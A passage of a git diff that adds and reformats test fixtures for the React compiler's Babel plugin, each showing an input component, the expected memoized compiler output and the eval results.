diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.ts
index 986b9a9a476f..0c866b08eee0 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/non-null-assertion.ts
@@ -8,5 +8,5 @@ function Component(props: ComponentProps) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ name: "Alice" }],
+  params: [{name: 'Alice'}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-hook-return.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-hook-return.expect.md
new file mode 100644
index 000000000000..9a4f0c179f9f
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-hook-return.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+import {identity, Stringify, useIdentity} from 'shared-runtime';
+
+function Component(props) {
+  const {x, ...rest} = useIdentity(props);
+  const z = rest.z;
+  identity(z);
+  return <Stringify x={x} z={z} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 'Hello', z: 'World'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, Stringify, useIdentity } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(6);
+  const t0 = useIdentity(props);
+  let rest;
+  let x;
+  if ($[0] !== t0) {
+    ({ x, ...rest } = t0);
+    $[0] = t0;
+    $[1] = rest;
+    $[2] = x;
+  } else {
+    rest = $[1];
+    x = $[2];
+  }
+  const z = rest.z;
+  identity(z);
+  let t1;
+  if ($[3] !== x || $[4] !== z) {
+    t1 = <Stringify x={x} z={z} />;
+    $[3] = x;
+    $[4] = z;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: "Hello", z: "World" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"x":"Hello","z":"World"}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-hook-return.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-hook-return.js
new file mode 100644
index 000000000000..c4447f7be6e4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-hook-return.js
@@ -0,0 +1,13 @@
+import {identity, Stringify, useIdentity} from 'shared-runtime';
+
+function Component(props) {
+  const {x, ...rest} = useIdentity(props);
+  const z = rest.z;
+  identity(z);
+  return <Stringify x={x} z={z} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 'Hello', z: 'World'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-jsx.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-jsx.expect.md
new file mode 100644
index 000000000000..5335705c5d82
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-jsx.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+import {identity, Stringify} from 'shared-runtime';
+
+function Component({x, ...rest}) {
+  return <Stringify {...rest} x={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 'Hello', z: 'World'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, Stringify } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(6);
+  let rest;
+  let x;
+  if ($[0] !== t0) {
+    ({ x, ...rest } = t0);
+    $[0] = t0;
+    $[1] = rest;
+    $[2] = x;
+  } else {
+    rest = $[1];
+    x = $[2];
+  }
+  let t1;
+  if ($[3] !== rest || $[4] !== x) {
+    t1 = <Stringify {...rest} x={x} />;
+    $[3] = rest;
+    $[4] = x;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: "Hello", z: "World" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"z":"World","x":"Hello"}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-jsx.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-jsx.js
new file mode 100644
index 000000000000..d9f24264d69b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-jsx.js
@@ -0,0 +1,10 @@
+import {identity, Stringify} from 'shared-runtime';
+
+function Component({x, ...rest}) {
+  return <Stringify {...rest} x={x} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 'Hello', z: 'World'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-local-indirection.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-local-indirection.expect.md
new file mode 100644
index 000000000000..7a435adcaad7
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-local-indirection.expect.md
@@ -0,0 +1,63 @@
+
+## Input
+
+```javascript
+import {identity, Stringify} from 'shared-runtime';
+
+function Component({x, ...rest}) {
+  const restAlias = rest;
+  const z = restAlias.z;
+  identity(z);
+  return <Stringify x={x} z={z} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 'Hello', z: 'World'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, Stringify } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(6);
+  let rest;
+  let x;
+  if ($[0] !== t0) {
+    ({ x, ...rest } = t0);
+    $[0] = t0;
+    $[1] = rest;
+    $[2] = x;
+  } else {
+    rest = $[1];
+    x = $[2];
+  }
+  const restAlias = rest;
+  const z = restAlias.z;
+  identity(z);
+  let t1;
+  if ($[3] !== x || $[4] !== z) {
+    t1 = <Stringify x={x} z={z} />;
+    $[3] = x;
+    $[4] = z;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: "Hello", z: "World" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"x":"Hello","z":"World"}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-local-indirection.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-local-indirection.js
new file mode 100644
index 000000000000..b1d26ab7f720
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props-local-indirection.js
@@ -0,0 +1,13 @@
+import {identity, Stringify} from 'shared-runtime';
+
+function Component({x, ...rest}) {
+  const restAlias = rest;
+  const z = restAlias.z;
+  identity(z);
+  return <Stringify x={x} z={z} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 'Hello', z: 'World'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props.expect.md
new file mode 100644
index 000000000000..a8b1c2d747f0
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props.expect.md
@@ -0,0 +1,61 @@
+
+## Input
+
+```javascript
+import {identity, Stringify} from 'shared-runtime';
+
+function Component({x, ...rest}) {
+  const z = rest.z;
+  identity(z);
+  return <Stringify x={x} z={z} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 'Hello', z: 'World'}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { identity, Stringify } from "shared-runtime";
+
+function Component(t0) {
+  const $ = _c(6);
+  let rest;
+  let x;
+  if ($[0] !== t0) {
+    ({ x, ...rest } = t0);
+    $[0] = t0;
+    $[1] = rest;
+    $[2] = x;
+  } else {
+    rest = $[1];
+    x = $[2];
+  }
+  const z = rest.z;
+  identity(z);
+  let t1;
+  if ($[3] !== x || $[4] !== z) {
+    t1 = <Stringify x={x} z={z} />;
+    $[3] = x;
+    $[4] = z;
+    $[5] = t1;
+  } else {
+    t1 = $[5];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ x: "Hello", z: "World" }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"x":"Hello","z":"World"}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props.js
new file mode 100644
index 000000000000..d3e83d560c25
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutated-spread-props.js
@@ -0,0 +1,12 @@
+import {identity, Stringify} from 'shared-runtime';
+
+function Component({x, ...rest}) {
+  const z = rest.z;
+  identity(z);
+  return <Stringify x={x} z={z} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{x: 'Hello', z: 'World'}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.expect.md
index aa9a35e6b300..f397b53be1a9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-import { identity, mutate } from "shared-runtime";
+import {identity, mutate} from 'shared-runtime';
 
 /**
  * Currently, InferReactiveScopeVariables do not ensure that maybe-aliased
@@ -22,25 +22,25 @@ import { identity, mutate } from "shared-runtime";
  * that all aliases refer to the same value.
  *
  */
-function useFoo({ a, b }) {
-  const x = { a };
+function useFoo({a, b}) {
+  const x = {a};
   const y = {};
   mutate(x);
   const z = [identity(y), b];
   mutate(y);
 
   if (z[0] !== y) {
-    throw new Error("oh no!");
+    throw new Error('oh no!');
   }
   return z;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ a: 2, b: 3 }],
+  params: [{a: 2, b: 3}],
   sequentialRenders: [
-    { a: 2, b: 3 },
-    { a: 4, b: 3 },
+    {a: 2, b: 3},
+    {a: 4, b: 3},
   ],
 };
 
@@ -73,8 +73,8 @@ import { identity, mutate } from "shared-runtime";
 function useFoo(t0) {
   const $ = _c(4);
   const { a, b } = t0;
-  let z;
   let y;
+  let z;
   if ($[0] !== a || $[1] !== b) {
     const x = { a };
     y = {};
@@ -83,15 +83,17 @@ function useFoo(t0) {
     mutate(y);
     $[0] = a;
     $[1] = b;
-    $[2] = z;
-    $[3] = y;
+    $[2] = y;
+    $[3] = z;
   } else {
-    z = $[2];
-    y = $[3];
+    y = $[2];
+    z = $[3];
   }
+
   if (z[0] !== y) {
     throw new Error("oh no!");
   }
+
   return z;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.ts
index 5aa2e7c67532..e4a8c85ef31d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.ts
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonmutating-capture-in-unsplittable-memo-block.ts
@@ -1,4 +1,4 @@
-import { identity, mutate } from "shared-runtime";
+import {identity, mutate} from 'shared-runtime';
 
 /**
  * Currently, InferReactiveScopeVariables do not ensure that maybe-aliased
@@ -18,24 +18,24 @@ import { identity, mutate } from "shared-runtime";
  * that all aliases refer to the same value.
  *
  */
-function useFoo({ a, b }) {
-  const x = { a };
+function useFoo({a, b}) {
+  const x = {a};
   const y = {};
   mutate(x);
   const z = [identity(y), b];
   mutate(y);
 
   if (z[0] !== y) {
-    throw new Error("oh no!");
+    throw new Error('oh no!');
   }
   return z;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: useFoo,
-  params: [{ a: 2, b: 3 }],
+  params: [{a: 2, b: 3}],
   sequentialRenders: [
-    { a: 2, b: 3 },
-    { a: 4, b: 3 },
+    {a: 2, b: 3},
+    {a: 4, b: 3},
   ],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.expect.md
index 2cf54fc92e2c..722a19eec7be 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.expect.md
@@ -13,8 +13,8 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.js
index 27106f4a5285..dc789fcf67f1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonoptional-load-from-optional-memberexpr.js
@@ -9,6 +9,6 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.expect.md
index 1e380f2fde69..113e91048007 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.expect.md
@@ -10,9 +10,8 @@ function Component() {
         // this value is a) in its own scope, b) non-reactive, and c) non-escaping
         // its scope gets pruned bc it's non-escaping, but this doesn't mean we need to
         // create a temporary for it
-        flags.feature("feature-name") ? styles.featureNameStyle : null
-      )}
-    ></div>
+        flags.feature('feature-name') ? styles.featureNameStyle : null
+      )}></div>
   );
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.js
index 4b2f3e47cd6f..85c0ad1e7d3d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/nonreactive-noescaping-dependency-can-inline-into-consuming-scope.js
@@ -6,8 +6,7 @@ function Component() {
         // this value is a) in its own scope, b) non-reactive, and c) non-escaping
         // its scope gets pruned bc it's non-escaping, but this doesn't mean we need to
         // create a temporary for it
-        flags.feature("feature-name") ? styles.featureNameStyle : null
-      )}
-    ></div>
+        flags.feature('feature-name') ? styles.featureNameStyle : null
+      )}></div>
   );
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/numeric-literal-as-object-property-key.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/numeric-literal-as-object-property-key.expect.md
new file mode 100644
index 000000000000..32d2a5a259fd
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/numeric-literal-as-object-property-key.expect.md
@@ -0,0 +1,65 @@
+
+## Input
+
+```javascript
+function Test() {
+  const obj = {
+    21: 'dimaMachina',
+  };
+  // Destructuring assignment
+  const {21: myVar} = obj;
+  return (
+    <div>
+      {obj[21]}
+      {myVar}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Test() {
+  const $ = _c(2);
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = { 21: "dimaMachina" };
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const obj = t0;
+
+  const { 21: myVar } = obj;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = (
+      <div>
+        {obj[21]}
+        {myVar}
+      </div>
+    );
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>dimaMachinadimaMachina</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/numeric-literal-as-object-property-key.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/numeric-literal-as-object-property-key.js
new file mode 100644
index 000000000000..b385417bbdd3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/numeric-literal-as-object-property-key.js
@@ -0,0 +1,18 @@
+function Test() {
+  const obj = {
+    21: 'dimaMachina',
+  };
+  // Destructuring assignment
+  const {21: myVar} = obj;
+  return (
+    <div>
+      {obj[21]}
+      {myVar}
+    </div>
+  );
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Test,
+  params: [{}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.expect.md
index d623879ff60a..74348c21920f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.expect.md
@@ -5,9 +5,9 @@
 function foo(a, b, c, d) {
   let x = {};
   if (someVal) {
-    x = { b };
+    x = {b};
   } else {
-    x = { c };
+    x = {c};
   }
 
   return x;
@@ -43,6 +43,7 @@ function foo(a, b, c, d) {
     }
     x = t0;
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.js
index 2ccd25119b92..79674f6185d2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-cached-in-if-else.js
@@ -1,9 +1,9 @@
 function foo(a, b, c, d) {
   let x = {};
   if (someVal) {
-    x = { b };
+    x = {b};
   } else {
-    x = { c };
+    x = {c};
   }
 
   return x;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.expect.md
index a3bf0e5ee8ad..0f2b186c6530 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.expect.md
@@ -5,9 +5,9 @@
 function foo(a, b, c, d) {
   let x = {};
   if (someVal) {
-    x = { b };
+    x = {b};
   } else {
-    x = { c };
+    x = {c};
   }
 
   x.f = 1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.js
index 4ed2c5b6fb42..81d6a415b642 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/obj-literal-mutated-after-if-else.js
@@ -1,9 +1,9 @@
 function foo(a, b, c, d) {
   let x = {};
   if (someVal) {
-    x = { b };
+    x = {b};
   } else {
-    x = { c };
+    x = {c};
   }
 
   x.f = 1;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-access-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-access-assignment.expect.md
new file mode 100644
index 000000000000..8b4dbc8f863d
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-access-assignment.expect.md
@@ -0,0 +1,83 @@
+
+## Input
+
+```javascript
+function Component({a, b, c}) {
+  // This is an object version of array-access-assignment.js
+  // Meant to confirm that object expressions and PropertyStore/PropertyLoad with strings
+  // works equivalently to array expressions and property accesses with numeric indices
+  const x = {zero: a};
+  const y = {zero: null, one: b};
+  const z = {zero: {}, one: {}, two: {zero: c}};
+  x.zero = y.one;
+  z.zero.zero = x.zero;
+  return {zero: x, one: z};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1, b: 20, c: 300}],
+  sequentialRenders: [
+    {a: 2, b: 20, c: 300},
+    {a: 3, b: 20, c: 300},
+    {a: 3, b: 21, c: 300},
+    {a: 3, b: 22, c: 300},
+    {a: 3, b: 22, c: 301},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+function Component(t0) {
+  const $ = _c(6);
+  const { a, b, c } = t0;
+  let t1;
+  if ($[0] !== a || $[1] !== b || $[2] !== c) {
+    const x = { zero: a };
+    let t2;
+    if ($[4] !== b) {
+      t2 = { zero: null, one: b };
+      $[4] = b;
+      $[5] = t2;
+    } else {
+      t2 = $[5];
+    }
+    const y = t2;
+    const z = { zero: {}, one: {}, two: { zero: c } };
+    x.zero = y.one;
+    z.zero.zero = x.zero;
+    t1 = { zero: x, one: z };
+    $[0] = a;
+    $[1] = b;
+    $[2] = c;
+    $[3] = t1;
+  } else {
+    t1 = $[3];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ a: 1, b: 20, c: 300 }],
+  sequentialRenders: [
+    { a: 2, b: 20, c: 300 },
+    { a: 3, b: 20, c: 300 },
+    { a: 3, b: 21, c: 300 },
+    { a: 3, b: 22, c: 300 },
+    { a: 3, b: 22, c: 301 },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"zero":{"zero":20},"one":{"zero":{"zero":20},"one":{},"two":{"zero":300}}}
+{"zero":{"zero":20},"one":{"zero":{"zero":20},"one":{},"two":{"zero":300}}}
+{"zero":{"zero":21},"one":{"zero":{"zero":21},"one":{},"two":{"zero":300}}}
+{"zero":{"zero":22},"one":{"zero":{"zero":22},"one":{},"two":{"zero":300}}}
+{"zero":{"zero":22},"one":{"zero":{"zero":22},"one":{},"two":{"zero":301}}}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-access-assignment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-access-assignment.js
new file mode 100644
index 000000000000..ef047238e7f8
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-access-assignment.js
@@ -0,0 +1,23 @@
+function Component({a, b, c}) {
+  // This is an object version of array-access-assignment.js
+  // Meant to confirm that object expressions and PropertyStore/PropertyLoad with strings
+  // works equivalently to array expressions and property accesses with numeric indices
+  const x = {zero: a};
+  const y = {zero: null, one: b};
+  const z = {zero: {}, one: {}, two: {zero: c}};
+  x.zero = y.one;
+  z.zero.zero = x.zero;
+  return {zero: x, one: z};
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{a: 1, b: 20, c: 300}],
+  sequentialRenders: [
+    {a: 2, b: 20, c: 300},
+    {a: 3, b: 20, c: 300},
+    {a: 3, b: 21, c: 300},
+    {a: 3, b: 22, c: 300},
+    {a: 3, b: 22, c: 301},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.expect.md
index 998959a719e3..399c9d1d30aa 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.expect.md
@@ -3,15 +3,15 @@
 
 ```javascript
 function foo(a, b, c) {
-  const x = { ...a };
+  const x = {...a};
   x[b] = c[b];
   x[1 + 2] = c[b * 4];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.js
index 8cdd71f1db34..68efd7f4f704 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-computed-access-assignment.js
@@ -1,11 +1,11 @@
 function foo(a, b, c) {
-  const x = { ...a };
+  const x = {...a};
   x[b] = c[b];
   x[1 + 2] = c[b * 4];
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-entries-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-entries-mutation.expect.md
new file mode 100644
index 000000000000..bc541b47f1f5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-entries-mutation.expect.md
@@ -0,0 +1,57 @@
+
+## Input
+
+```javascript
+import {makeObject_Primitives, Stringify} from 'shared-runtime';
+
+function Component(props) {
+  const object = {object: props.object};
+  const entries = Object.entries(object);
+  entries.map(([, value]) => {
+    value.updated = true;
+  });
+  return <Stringify entries={entries} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{object: {key: makeObject_Primitives()}}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { makeObject_Primitives, Stringify } from "shared-runtime";
+
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.object) {
+    const object = { object: props.object };
+    const entries = Object.entries(object);
+    entries.map(_temp);
+    t0 = <Stringify entries={entries} />;
+    $[0] = props.object;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+function _temp(t0) {
+  const [, value] = t0;
+  value.updated = true;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ object: { key: makeObject_Primitives() } }],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"entries":[["object",{"key":{"a":0,"b":"value1","c":true},"updated":true}]]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-entries-mutation.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/object-entries-mutation.js
new file mode 100644
index 000000000000..2902cffd014f
